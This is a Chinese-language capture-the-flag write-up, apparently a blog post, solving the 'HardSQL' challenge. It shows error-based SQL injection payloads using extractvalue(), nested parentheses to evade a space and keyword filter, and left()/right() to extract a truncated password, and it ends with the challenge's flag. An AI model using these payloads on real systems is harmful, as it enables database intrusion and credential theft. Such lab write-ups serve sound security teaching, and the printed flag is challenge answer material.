[极客大挑战 2019]HardSQL
[极客大挑战 2019]HardSQL
尝试了几种常用的方法,发现空格,or,and,union,order by不少都被过滤了。
试试报错注入,没用过就直接查了查百度找找看,然后就使用 extractvalue() 函数发现没有被过滤掉。
# 爆破当前数据库
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(database())))))%23
# 爆破数据表
?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('%geek%')))))%23
## '~H4rDsq1'
# 爆破字段
?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('%H4rDsq1%')))))%23
## '~id,username,password'
# 暴左边30位的值
## extractvalue() 函数最大返回值 32 所以需要用到 left() 或者 right() 函数,从左边或者右边进行切割,再拼接。
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(left(password,31))from(H4rDsq1)))))%23
## 'flag{4e949b07-99eb-4fec-ae1b-17'
# 暴右边的值
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(right(password,15))from(H4rDsq1)))))%23
## '~b-173bd90bdf56}'
# '最终flag:flag{4e949b07-99eb-4fec-ae1b-173bd90bdf56}'
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582239.html